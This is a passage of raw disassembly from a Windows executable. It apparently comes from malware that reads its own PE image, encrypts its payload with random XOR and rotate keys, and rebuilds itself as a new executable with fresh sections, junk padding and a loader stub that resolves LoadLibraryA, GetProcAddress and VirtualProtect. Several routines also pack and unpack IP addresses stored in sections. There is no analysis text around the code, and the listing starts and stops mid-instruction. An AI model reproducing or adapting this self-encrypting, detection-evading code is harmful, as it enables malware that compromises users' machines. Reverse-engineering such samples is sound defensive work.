[ebp-24h], eax mov eax, [ebp-14h] sub eax, [ebp-138h] cmp [ebp-24h], eax jb loc_4025ED loc_402699: ; CODE XREF: sub_402382+265j push dword ptr [ebp-28h] call sub_41CA28 push dword ptr [ebp-38h] call sub_41CA28 mov eax, [ebp-14h] pop ecx pop ecx loc_4026AE: ; CODE XREF: sub_402382+F2j pop ebx loc_4026AF: ; CODE XREF: sub_402382+82j ; sub_402382+C2j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx leave retn sub_402382 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026BD proc near ; CODE XREF: sub_402AC9+48p var_24 = dword ptr -24h var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor ebx, ebx mov edi, 800h lea esi, [ebp+var_24] mov [ebp+var_C], ebx call sub_40229D mov esi, [ebp+arg_8] push ebx add esi, 186A0h push esi push ebx mov [ebp+var_10], ebx call ds:dword_4290B4 ; HeapCreate mov ecx, [ebp+arg_C] push esi push 8 pop edi push edi push eax mov [ecx], eax call ds:dword_4290A0 ; RtlAllocateHeap mov ecx, [ebp+arg_0] mov [ecx], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ecx+3Ch] add eax, ecx mov eax, [eax+54h] sub [ebp+arg_8], eax mov [ebp+arg_0], ebx mov [ebp+var_8], ebx mov [ebp+arg_C], eax jz loc_4027D4 jmp short loc_40272A ; --------------------------------------------------------------------------- loc_402725: ; CODE XREF: sub_4026BD+111j push 8 pop edi xor ebx, ebx loc_40272A: ; CODE XREF: sub_4026BD+66j ; sub_4026BD+85j push [ebp+arg_4] lea esi, [ebp+var_C] push edi lea eax, [ebp+arg_C] call sub_402225 mov [ebp+ebx+var_18], al inc ebx cmp ebx, edi pop ecx pop ecx jb short loc_40272A mov eax, [ebp+var_C] sub eax, 40h cdq mov ecx, edi idiv ecx mov [ebp+var_C], edi lea ebx, [ebp+var_C] lea edi, [ebp+var_18] add [ebp+arg_C], eax lea eax, [ebp+var_24] push eax mov esi, edx call sub_4022CB push [ebp+var_4] mov ebx, eax push 8 lea eax, [ebp+var_8] lea edi, [ebp+arg_0] mov cl, bl call sub_4021E7 push [ebp+var_4] mov ecx, ebx shr ecx, 8 push 3 lea eax, [ebp+var_8] call sub_4021E7 mov ebx, [ebp+var_C] push [ebp+var_4] cmp ebx, 8 setz cl dec cl push 3 lea eax, [ebp+var_8] and ecx, ebx call sub_4021E7 add esp, 18h push ebx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_24] call sub_402348 lea eax, [esi+ebx*8] cdq push 8 pop ecx idiv ecx add [ebp+var_10], ebx add [ebp+arg_C], eax mov eax, [ebp+var_10] cmp eax, [ebp+arg_8] mov [ebp+var_C], edx jb loc_402725 loc_4027D4: ; CODE XREF: sub_4026BD+60j push [ebp+var_24] call sub_41CA28 mov eax, [ebp+arg_0] pop ecx pop edi pop esi pop ebx leave retn sub_4026BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4027E5 proc near ; CODE XREF: sub_402AC9+31p var_254 = byte ptr -254h var_134 = byte ptr -134h var_34 = dword ptr -34h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 254h push ebx xor ebx, ebx mov [ebp+74h+var_4], ebx mov [ebp+74h+var_8], ebx call sub_409351 test eax, eax jbe loc_40291A push esi push edi loc_402808: ; CODE XREF: sub_4027E5+58j lea eax, [ebp+74h+var_254] push eax lea eax, [ebp+74h+var_4] call sub_408E9D pop ecx push 48h pop ecx mov esi, eax lea edi, [ebp+74h+var_134] rep movsd cmp [ebp+74h+var_1C], 0 jnz short loc_402832 mov [ebp+74h+var_8], 1 loc_402832: ; CODE XREF: sub_4027E5+44j inc [ebp+74h+var_4] inc ebx call sub_409351 cmp ebx, eax jb short loc_402808 xor edx, edx cmp [ebp+74h+var_8], edx jz loc_402918 mov eax, [ebp+74h+arg_0] mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h mov [ebp+74h+var_10], ecx jnz loc_402918 cmp [ecx+6], dx mov [ebp+74h+var_4], edx jbe loc_402918 lea ebx, [ecx+10Ch] loc_402874: ; CODE XREF: sub_4027E5+12Dj mov edx, [ebx-4] mov esi, [ebx-0Ch] cmp edx, esi jbe loc_402905 mov eax, [ebx] add esi, eax lea eax, [edx+eax-6] cmp esi, eax mov [ebp+74h+var_8], esi jnb short loc_402905 loc_402891: ; CODE XREF: sub_4027E5+CAj ; sub_4027E5+11Bj lea eax, [ebp+74h+var_254] push eax call sub_408F53 pop ecx push 48h pop ecx mov esi, eax lea edi, [ebp+74h+var_134] rep movsd cmp [ebp+74h+var_1C], 0 jnz short loc_402891 lea eax, [ebp+74h+var_134] push eax call ds:dword_429270 ; inet_addr mov esi, [ebp+74h+var_8] mov edi, [ebp+74h+arg_0] mov [ebp+74h+var_14], eax mov eax, [ebp+74h+var_34] mov [ebp+74h+var_C], eax push 4 lea eax, [ebp+74h+var_14] push eax lea eax, [esi+edi] push eax call sub_41BC60 push 2 lea eax, [ebp+74h+var_C] push eax lea eax, [esi+edi+4] push eax call sub_41BC60 mov eax, [ebx] mov ecx, [ebx-4] add esi, 6 lea eax, [eax+ecx-6] add esp, 18h cmp esi, eax mov [ebp+74h+var_8], esi jb short loc_402891 mov ecx, [ebp+74h+var_10] loc_402905: ; CODE XREF: sub_4027E5+97j ; sub_4027E5+AAj movzx eax, word ptr [ecx+6] add ebx, 28h inc [ebp+74h+var_4] cmp [ebp+74h+var_4], eax jb loc_402874 loc_402918: ; CODE XREF: sub_4027E5+5Fj ; sub_4027E5+76j ... pop edi pop esi loc_40291A: ; CODE XREF: sub_4027E5+1Bj pop ebx add ebp, 74h leave retn sub_4027E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_402920 proc near ; CODE XREF: sub_4142D6+3D7p var_25C = byte ptr -25Ch var_15C = dword ptr -15Ch var_156 = word ptr -156h var_120 = dword ptr -120h var_64 = word ptr -64h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 25Ch push esi push edi call ds:dword_4290A4 ; GetCurrentProcess push 0 mov [ebp+78h+var_4], eax call ds:dword_4290BC ; GetModuleHandleA mov edi, ds:dword_4290AC mov esi, eax lea eax, [ebp+78h+var_C] push eax push 40h lea eax, [ebp+78h+var_64] push eax push esi push [ebp+78h+var_4] mov [ebp+78h+var_24], esi call edi ; ReadProcessMemory cmp [ebp+78h+var_64], 5A4Dh jnz loc_402AC2 mov eax, [ebp+78h+var_28] push ebx lea ebx, [eax+esi] lea eax, [ebp+78h+var_C] push eax mov esi, 0F8h push esi lea eax, [ebp+78h+var_15C] push eax push ebx push [ebp+78h+var_4] call edi ; ReadProcessMemory cmp [ebp+78h+var_15C], 4550h jnz loc_402AC1 movzx eax, [ebp+78h+var_156] lea eax, [eax+eax*4] shl eax, 3 add ebx, esi push eax mov [ebp+78h+var_10], ebx call sub_41BAB5 push [ebp+78h+var_120] mov esi, eax mov [ebp+78h+var_20], esi call sub_41BAB5 and [ebp+78h+var_14], 0 cmp [ebp+78h+var_156], 0 pop ecx pop ecx mov ebx, eax jbe loc_402AB1 add esi, 8 jmp short loc_4029DC ; --------------------------------------------------------------------------- loc_4029D6: ; CODE XREF: sub_402920+18Bj mov edi, ds:dword_4290AC loc_4029DC: ; CODE XREF: sub_402920+B4j lea eax, [ebp+78h+var_C] push eax push 28h lea eax, [esi-8] push eax push [ebp+78h+var_10] push [ebp+78h+var_4] call edi ; ReadProcessMemory mov eax, [esi+8] cmp eax, [esi] jbe loc_402A97 push 4 push 0 push ebx call sub_41C6D0 mov eax, [esi] add esp, 0Ch lea ecx, [ebp+78h+var_C] push ecx mov ecx, [esi+8] sub ecx, eax push ecx mov ecx, [esi+4] add ecx, eax add ecx, [ebp+78h+var_24] push ebx push ecx push [ebp+78h+var_4] call edi ; ReadProcessMemory xor edi, edi cmp byte ptr [ebx], 0 mov [ebp+78h+var_8], edi jz short loc_402A97 jmp short loc_402A30 ; --------------------------------------------------------------------------- loc_402A2D: ; CODE XREF: sub_402920+175j mov edi, [ebp+78h+var_8] loc_402A30: ; CODE XREF: sub_402920+10Bj cmp edi, [ebp+78h+var_120] jnb short loc_402A97 and [ebp+78h+var_1C], 0 and [ebp+78h+var_18], 0 push 4 lea eax, [edi+ebx] push eax lea eax, [ebp+78h+var_1C] push eax call sub_41BC60 push 2 lea eax, [edi+ebx+4] push eax lea eax, [ebp+78h+var_18] push eax call sub_41BC60 add esp, 18h push [ebp+78h+var_18] push [ebp+78h+var_1C] call ds:dword_429274 ; inet_ntoa push eax mov eax, 100h lea edi, [ebp+78h+var_25C] call sub_4094D4 mov eax, edi push eax call sub_408F96 add [ebp+78h+var_8], 6 mov eax, [ebp+78h+var_8] add esp, 0Ch cmp byte ptr [eax+ebx], 0 jnz short loc_402A2D loc_402A97: ; CODE XREF: sub_402920+D3j ; sub_402920+109j ... add [ebp+78h+var_10], 28h movzx eax, [ebp+78h+var_156] inc [ebp+78h+var_14] add esi, 28h cmp [ebp+78h+var_14], eax jb loc_4029D6 loc_402AB1: ; CODE XREF: sub_402920+ABj push ebx call sub_41CA28 push [ebp+78h+var_20] call sub_41CA28 pop ecx pop ecx loc_402AC1: ; CODE XREF: sub_402920+6Dj pop ebx loc_402AC2: ; CODE XREF: sub_402920+3Fj pop edi pop esi add ebp, 78h leave retn sub_402920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_402AC9 proc near ; CODE XREF: sub_404694+20p var_3C0 = byte ptr -3C0h var_3B8 = byte ptr -3B8h var_3B4 = byte ptr -3B4h var_3B0 = byte ptr -3B0h var_3AC = byte ptr -3ACh var_39C = byte ptr -39Ch var_280 = byte ptr -280h var_27A = word ptr -27Ah var_258 = dword ptr -258h var_24C = dword ptr -24Ch var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_188 = byte ptr -188h var_182 = word ptr -182h var_178 = dword ptr -178h var_174 = dword ptr -174h var_170 = dword ptr -170h var_16C = byte ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_12A = byte ptr -12Ah var_128 = byte ptr -128h var_127 = byte ptr -127h var_126 = byte ptr -126h var_124 = byte ptr -124h var_123 = byte ptr -123h var_120 = byte ptr -120h var_11F = byte ptr -11Fh var_11C = byte ptr -11Ch var_11B = byte ptr -11Bh var_118 = byte ptr -118h var_117 = byte ptr -117h var_114 = byte ptr -114h var_113 = byte ptr -113h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_108 = byte ptr -108h var_107 = byte ptr -107h var_104 = byte ptr -104h var_103 = byte ptr -103h var_100 = byte ptr -100h var_FF = byte ptr -0FFh var_FC = byte ptr -0FCh var_FB = byte ptr -0FBh var_F8 = byte ptr -0F8h var_F7 = byte ptr -0F7h var_F4 = byte ptr -0F4h var_F3 = byte ptr -0F3h var_F0 = byte ptr -0F0h var_EF = byte ptr -0EFh var_EC = byte ptr -0ECh var_EB = byte ptr -0EBh var_E8 = byte ptr -0E8h var_E7 = byte ptr -0E7h var_E4 = byte ptr -0E4h var_E3 = byte ptr -0E3h var_E0 = byte ptr -0E0h var_DF = byte ptr -0DFh var_DC = byte ptr -0DCh var_DB = byte ptr -0DBh var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D4 = byte ptr -0D4h var_D3 = byte ptr -0D3h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CC = byte ptr -0CCh var_CB = byte ptr -0CBh var_C8 = byte ptr -0C8h var_C7 = byte ptr -0C7h var_C4 = byte ptr -0C4h var_C3 = byte ptr -0C3h var_C0 = byte ptr -0C0h var_BF = byte ptr -0BFh var_BC = byte ptr -0BCh var_BB = byte ptr -0BBh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_B0 = byte ptr -0B0h var_AF = byte ptr -0AFh var_AC = byte ptr -0ACh var_AB = byte ptr -0ABh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_97 = byte ptr -97h var_94 = dword ptr -94h var_90 = byte ptr -90h var_8F = byte ptr -8Fh var_8C = byte ptr -8Ch var_8B = byte ptr -8Bh var_88 = byte ptr -88h var_87 = byte ptr -87h var_84 = dword ptr -84h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = byte ptr -74h var_73 = byte ptr -73h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_6B = byte ptr -6Bh var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_62 = byte ptr -62h var_61 = byte ptr -61h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_44 = dword ptr -44h var_3D = byte ptr -3Dh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_28 = byte ptr -28h var_27 = byte ptr -27h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 3C0h push ebx push esi push edi push [ebp+70h+arg_4] lea eax, [ebp+70h+var_130] xor esi, esi push eax mov [ebp+70h+var_84], esi mov [ebp+70h+var_130], esi call sub_402382 mov edi, [ebp+70h+var_130] push edi mov ebx, eax call sub_4027E5 mov eax, [ebp+70h+arg_0] mov [eax], edi lea eax, [ebp+70h+var_138] push eax push ebx lea eax, [ebp+70h+var_84] push edi push eax call sub_4026BD push 7 push esi mov [ebp+70h+var_7C], eax call sub_40D864 push 0FFh push esi mov byte ptr [ebp+70h+arg_0+3], al call sub_40D864 add esp, 2Ch cmp [ebp+70h+var_7C], esi mov [ebp+70h+var_3D], al mov [ebp+70h+var_78], esi jbe short loc_402B5A loc_402B3D: ; CODE XREF: sub_402AC9+8Fj mov eax, [ebp+70h+var_84] mov ebx, [ebp+70h+var_78] add ebx, eax mov al, [ebx] mov cl, byte ptr [ebp+70h+arg_0+3] xor al, [ebp+70h+var_3D] rol al, cl mov [ebx], al inc esi cmp esi, [ebp+70h+var_7C] mov [ebp+70h+var_78], esi jb short loc_402B3D loc_402B5A: ; CODE XREF: sub_402AC9+72j and [ebp+70h+var_134], 0 cmp word ptr [edi], 5A4Dh jnz loc_404655 mov ebx, [edi+3Ch] push 0F8h add ebx, edi lea eax, [ebp+70h+var_280] push ebx push eax call sub_41BC60 add esp, 0Ch cmp dword ptr [ebx], 4550h jnz loc_404655 mov ecx, [ebx+34h] xor eax, eax cmp [ebx+6], ax mov [ebp+70h+var_50], eax mov [ebp+70h+var_1C], ecx mov [ebp+70h+var_5C], eax jbe short loc_402BF4 lea eax, [ebp+70h+var_3C0] lea esi, [ebx+104h] mov [ebp+70h+var_58], eax loc_402BB5: ; CODE XREF: sub_402AC9+127j push 28h lea eax, [esi-0Ch] push eax push [ebp+70h+var_58] call sub_41BC60 mov eax, [esi] mov ecx, [esi+4] add ecx, eax add esp, 0Ch cmp ecx, [ebp+70h+var_50] jbe short loc_402BDC mov ecx, [esi-4] add ecx, eax mov [ebp+70h+var_50], ecx jmp short loc_402BDF ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_402AC9+107j mov ecx, [ebp+70h+var_50] loc_402BDF: ; CODE XREF: sub_402AC9+111j movzx eax, word ptr [ebx+6] add [ebp+70h+var_58], 28h add esi, 28h inc [ebp+70h+var_5C] cmp [ebp+70h+var_5C], eax jb short loc_402BB5 jmp short loc_402BF7 ; --------------------------------------------------------------------------- loc_402BF4: ; CODE XREF: sub_402AC9+DBj mov ecx, [ebp+70h+var_50] loc_402BF7: ; CODE XREF: sub_402AC9+129j mov esi, [ebx+38h] xor edx, edx mov eax, ecx div esi test edx, edx jz short loc_402C14 mov ecx, esi loc_402C06: ; CODE XREF: sub_402AC9+149j inc [ebp+70h+var_50] mov eax, [ebp+70h+var_50] xor edx, edx div ecx test edx, edx jnz short loc_402C06 loc_402C14: ; CODE XREF: sub_402AC9+139j mov eax, [ebp+70h+var_7C] and [ebp+70h+var_34], 0 test eax, eax jbe short loc_402C27 loc_402C1F: ; CODE XREF: sub_402AC9+15Cj add [ebp+70h+var_34], esi cmp [ebp+70h+var_34], eax jb short loc_402C1F loc_402C27: ; CODE XREF: sub_402AC9+154j mov eax, [ebx+54h] mov ecx, [ebp+70h+var_34] add eax, ecx mov [ebp+70h+var_4], eax add eax, 1000h mov [ebp+70h+var_134], eax lea eax, [ebp+70h+var_188] push eax call ds:dword_4290C4 ; GetSystemTime movzx eax, [ebp+70h+var_182] mov [ebp+70h+var_78], eax movzx eax, word ptr [ebx+6] push 8 push offset dword_42FD64 lea esi, [ebx+0F8h] push esi mov [ebp+70h+var_44], eax mov word ptr [ebx+6], 3 call sub_41BC60 mov eax, [ebp+70h+var_50] and dword ptr [esi+10h], 0 add eax, 0FFFFF000h mov [esi+8], eax mov eax, [ebx+54h] mov [esi+14h], eax mov eax, [esi+0Ch] push 8 mov dword ptr [esi+24h], 0E0000080h add esi, 28h push offset a_rdata ; ".rdata" push esi mov [ebp+70h+var_144], eax call sub_41BC60 mov eax, 1000h mov [esi+10h], eax mov [esi+8], eax mov eax, [ebp+70h+var_4] mov [esi+14h], eax mov eax, [ebp+70h+var_50] push 8 mov [esi+0Ch], eax mov dword ptr [esi+24h], 0E0000040h add esi, 28h push offset a_data ; ".data" push esi call sub_41BC60 mov eax, [ebp+70h+var_7C] mov [esi+10h], eax mov eax, [ebp+70h+var_34] mov [esi+8], eax mov eax, [ebx+54h] mov [esi+14h], eax mov eax, [ebp+70h+var_50] add esp, 24h add eax, 1000h mov [esi+0Ch], eax jmp short loc_402CFF ; --------------------------------------------------------------------------- loc_402CF9: ; CODE XREF: sub_402AC9+23Dj inc dword ptr [esi+0Ch] mov eax, [esi+0Ch] loc_402CFF: ; CODE XREF: sub_402AC9+22Ej xor edx, edx div dword ptr [ebx+38h] test edx, edx jnz short loc_402CF9 push [ebp+70h+var_7C] mov eax, [esi+14h] push [ebp+70h+var_84] add eax, edi push eax mov dword ptr [esi+24h], 40000040h call sub_41BC60 mov eax, [ebp+70h+var_34] and [ebp+70h+var_38], 0 add esp, 0Ch sub eax, [ebp+70h+var_7C] mov [ebp+70h+var_4], eax jz short loc_402D57 loc_402D32: ; CODE XREF: sub_402AC9+28Cj push 0FFh push 0 call sub_40D864 pop ecx pop ecx mov ecx, [esi+14h] add ecx, [ebp+70h+var_38] add ecx, [ebp+70h+var_7C] inc [ebp+70h+var_38] mov [ecx+edi], al mov eax, [ebp+70h+var_38] cmp eax, [ebp+70h+var_4] jb short loc_402D32 loc_402D57: ; CODE XREF: sub_402AC9+267j mov eax, [esi+0Ch] add eax, [ebp+70h+var_34] lea esi, [ebx+0F8h] mov [ebx+50h], eax xor eax, eax mov ah, byte ptr [ebp+70h+arg_0+3] mov al, [ebp+70h+var_3D] mov [ebx+46h], ax movzx eax, [ebp+70h+var_27A] test eax, eax jbe short loc_402D83 lea eax, [eax+eax*4] lea esi, [esi+eax*8] loc_402D83: ; CODE XREF: sub_402AC9+2B2j and [ebp+70h+var_38], 0 mov eax, edi sub eax, esi add eax, [ebx+54h] jz short loc_402DC6 loc_402D90: ; CODE XREF: sub_402AC9+2FBj push 2 push 0 call sub_40D864 test eax, eax pop ecx pop ecx jnz short loc_402DA6 push 0FFh jmp short loc_402DA8 ; --------------------------------------------------------------------------- loc_402DA6: ; CODE XREF: sub_402AC9+2D4j push 20h loc_402DA8: ; CODE XREF: sub_402AC9+2DBj push 0 call sub_40D864 pop ecx pop ecx mov ecx, [ebp+70h+var_38] inc [ebp+70h+var_38] mov [ecx+esi], al mov eax, edi sub eax, esi add eax, [ebx+54h] cmp [ebp+70h+var_38], eax jb short loc_402D90 loc_402DC6: ; CODE XREF: sub_402AC9+2C5j push [ebp+70h+var_50] mov edx, ebx call sub_40C663 mov esi, eax add esi, edi and [ebp+70h+var_38], 0 pop ecx loc_402DD9: ; CODE XREF: sub_402AC9+341j push 1 push 0 call sub_40D864 test eax, eax pop ecx pop ecx jnz short loc_402DEF push 0FFh jmp short loc_402DF1 ; --------------------------------------------------------------------------- loc_402DEF: ; CODE XREF: sub_402AC9+31Dj push 20h loc_402DF1: ; CODE XREF: sub_402AC9+324j push 0 call sub_40D864 pop ecx pop ecx mov ecx, [ebp+70h+var_38] inc [ebp+70h+var_38] cmp [ebp+70h+var_38], 1000h mov [ecx+esi], al jb short loc_402DD9 mov eax, [ebp+70h+var_44] mov edx, [ebp+70h+var_50] lea ecx, [eax+eax*4] lea eax, [ebx+0F8h] lea eax, [eax+ecx*8] lea ecx, [edx+1000h] sub edx, [ebp+70h+var_78] mov [eax], ecx mov ecx, [ebp+70h+var_7C] mov [eax+4], ecx push 14h xor esi, esi lea eax, [ebp+70h+var_158] add edx, 0F7Ah push esi push eax mov [ebx+80h], edx mov dword ptr [ebx+84h], 28h call sub_41C6D0 push 4 lea eax, [ebp+70h+var_16C] push esi push eax mov [ebp+70h+var_150], esi mov [ebp+70h+var_154], esi call sub_41C6D0 push 4 lea eax, [ebp+70h+var_15C] push esi push eax call sub_41C6D0 mov esi, [ebx+84h] add esi, [ebx+80h] add esp, 24h push offset aKernel32_dll ; "Kernel32.dll" push esi mov edx, ebx mov [ebp+70h+var_14C], esi call sub_40C663 pop ecx add eax, edi push eax call sub_41C930 push offset aKernel32_dll ; "Kernel32.dll" call sub_41C350 lea esi, [esi+eax+1] add esp, 0Ch push 2 lea eax, [ebp+70h+var_9C] push eax push esi mov edx, ebx mov [ebp+70h+var_9C], 0DFh mov [ebp+70h+var_178], esi mov [ebp+70h+var_168], esi call sub_40C663 pop ecx add eax, edi push eax call sub_41BC60 add esp, 0Ch inc esi inc esi push offset aLoadlibrarya ; "LoadLibraryA" push esi mov edx, ebx call sub_40C663 pop ecx add eax, edi push eax call sub_41C930 push offset aLoadlibrarya ; "LoadLibraryA" call sub_41C350 add esp, 0Ch lea esi, [esi+eax+1] push 2 lea eax, [ebp+70h+var_9C] mov [ebp+70h+var_9C], 53h mov [ebp+70h+var_174], esi mov [ebp+70h+var_164], esi push eax push esi mov edx, ebx call sub_40C663 pop ecx add eax, edi push eax call sub_41BC60 add esp, 0Ch inc esi inc esi push offset aGetprocaddress ; "GetProcAddress" push esi mov edx, ebx call sub_40C663 pop ecx add eax, edi push eax call sub_41C930 push offset aGetprocaddress ; "GetProcAddress" call sub_41C350 lea esi, [esi+eax+1] add esp, 0Ch push 2 lea eax, [ebp+70h+var_9C] push eax push esi mov edx, ebx mov [ebp+70h+var_9C], 379h mov [ebp+70h+var_170], esi mov [ebp+70h+var_160], esi call sub_40C663 pop ecx add eax, edi push eax call sub_41BC60 add esp, 0Ch inc esi inc esi push offset aVirtualprotect ; "VirtualProtect" push esi mov edx, ebx call sub_40C663 pop ecx add eax, edi push eax call sub_41C930 push offset aVirtualprotect ; "VirtualProtect" call sub_41C350 add esp, 0Ch lea esi, [esi+eax+1] push 10h lea eax, [ebp+70h+var_178] push eax push esi mov edx, ebx mov [ebp+70h+var_158], esi call sub_40C663 pop ecx add eax, edi push eax call sub_41BC60 add esp, 0Ch push 10h lea eax, [ebp+70h+var_168] add esi, 10h push eax push esi mov edx, ebx mov [ebp+70h+var_148], esi call sub_40C663 pop ecx add eax, edi push eax call sub_41BC60 mov ecx, [ebp+70h+var_1C] mov eax, [ebp+70h+var_148] add esp, 0Ch add eax, ecx lea ecx, [eax+4] mov [ebp+70h+var_70], eax mov [ebp+70h+var_13C], ecx add eax, 8 mov [ebp+70h+var_110], eax push 14h lea eax, [ebp+70h+var_158] push eax push dword ptr [ebx+80h] mov edx, ebx call sub_40C663 pop ecx add eax, edi push eax call sub_41BC60 mov eax, [ebx+80h] add esp, 0Ch push 14h add eax, 14h push 0 push eax mov edx, ebx call sub_40C663 pop ecx add eax, edi push eax call sub_41C6D0 add esi, 10h push esi mov edx, ebx call sub_40C663 mov esi, eax mov eax, [ebp+70h+var_78] add eax, esi add esp, 10h cmp esi, eax mov [ebp+70h+var_4], eax jnb short loc_40309A loc_403083: ; CODE XREF: sub_402AC9+5CFj push 0FFh push 0 call sub_40D864 mov [esi+edi], al inc esi cmp esi, [ebp+70h+var_4] pop ecx pop ecx jb short loc_403083 loc_40309A: ; CODE XREF: sub_402AC9+5B8j mov esi, [ebp+70h+var_50] push esi mov edx, ebx mov [ebx+28h], esi call sub_40C663 pop ecx add eax, edi mov [ebp+70h+var_C8], 0Fh mov [ebp+70h+var_C7], 85h mov [ebp+70h+var_98], 0Fh mov [ebp+70h+var_97], 8Ch mov [ebp+70h+var_88], 8Ah mov [ebp+70h+var_87], 0CDh mov [ebp+70h+var_F8], 8Ah mov [ebp+70h+var_F7], 0EBh mov [ebp+70h+var_62], 8Bh mov [ebp+70h+var_61], 0ECh mov [ebp+70h+var_114], 8Bh mov [ebp+70h+var_113], 0CFh mov [ebp+70h+var_DC], 8Bh mov [ebp+70h+var_DB], 0D8h mov [ebp+70h+var_B4], 8Bh mov [ebp+70h+var_B3], 0F0h mov [ebp+70h+var_28], 8Bh mov [ebp+70h+var_27], 85h mov [ebp+70h+var_54], 8Bh mov [ebp+70h+var_53], 9Dh mov [ebp+70h+var_EC], 8Bh mov [ebp+70h+var_EB], 95h mov byte ptr [ebp+70h+var_8], 0C6h mov byte ptr [ebp+70h+var_8+1], 4 mov byte ptr [ebp+70h+var_8+2], 4 mov byte ptr [ebp+70h+var_14], 88h mov byte ptr [ebp+70h+var_14+1], 4 mov byte ptr [ebp+70h+var_14+2], 4 mov [ebp+70h+var_48], 89h mov [ebp+70h+var_47], 85h mov [ebp+70h+var_D4], 89h mov [ebp+70h+var_D3], 9Dh mov [ebp+70h+var_E4], 89h mov [ebp+70h+var_E3], 3 mov [ebp+70h+var_2C], 0C7h mov [ebp+70h+var_2B], 85h mov [ebp+70h+var_68], 36h mov [ebp+70h+var_67], 0C7h mov [ebp+70h+var_66], 5 mov byte ptr [ebp+70h+var_10], 36h mov byte ptr [ebp+70h+var_10+1], 8Ah mov byte ptr [ebp+70h+var_10+2], 90h mov byte ptr [ebp+70h+var_24], 36h mov byte ptr [ebp+70h+var_24+1], 8Ah mov byte ptr [ebp+70h+var_24+2], 98h mov byte ptr [ebp+70h+var_3C], 36h mov byte ptr [ebp+70h+var_3C+1], 8Bh mov byte ptr [ebp+70h+var_3C+2], 4 mov byte ptr [ebp+70h+var_3C+3], 29h mov byte ptr [ebp+70h+var_5C], 36h mov byte ptr [ebp+70h+var_5C+1], 88h mov byte ptr [ebp+70h+var_5C+2], 4 mov byte ptr [ebp+70h+var_5C+3], 2Eh mov byte ptr [ebp+70h+var_84], 36h mov byte ptr [ebp+70h+var_84+1], 88h mov byte ptr [ebp+70h+var_84+2], 4 mov byte ptr [ebp+70h+var_84+3], 29h mov [ebp+70h+var_60], 8Bh mov [ebp+70h+var_5F], 3 mov [ebp+70h+var_128], 88h mov [ebp+70h+var_127], 4 mov [ebp+70h+var_126], 2Ah mov [ebp+70h+var_12C], 8Ah mov [ebp+70h+var_12B], 4 mov [ebp+70h+var_12A], 2Ah mov byte ptr [ebp+70h+var_94+2], 81h mov byte ptr [ebp+70h+var_94+3], 0ECh mov [ebp+70h+var_74], 0FFh mov [ebp+70h+var_73], 15h mov [ebp+70h+var_A4], 81h mov [ebp+70h+var_A3], 0FEh mov [ebp+70h+var_124], 81h mov [ebp+70h+var_123], 0FFh mov [ebp+70h+var_AC], 81h mov ecx, [ebx+34h] mov byte ptr [eax], 55h mov [ebp+70h+var_140], eax inc eax lea ecx, [ecx+esi+1000h] mov edi, eax inc eax lea esi, [ebp+70h+var_94+2] inc eax mov [ebp+70h+var_44], ecx movsw lea esi, [eax+4] lea ecx, [ebp+70h+var_78] mov [ebp+70h+var_AB], 0FBh mov [ebp+70h+var_CC], 81h mov [ebp+70h+var_CB], 0FAh mov byte ptr [ebp+70h+var_20], 83h mov byte ptr 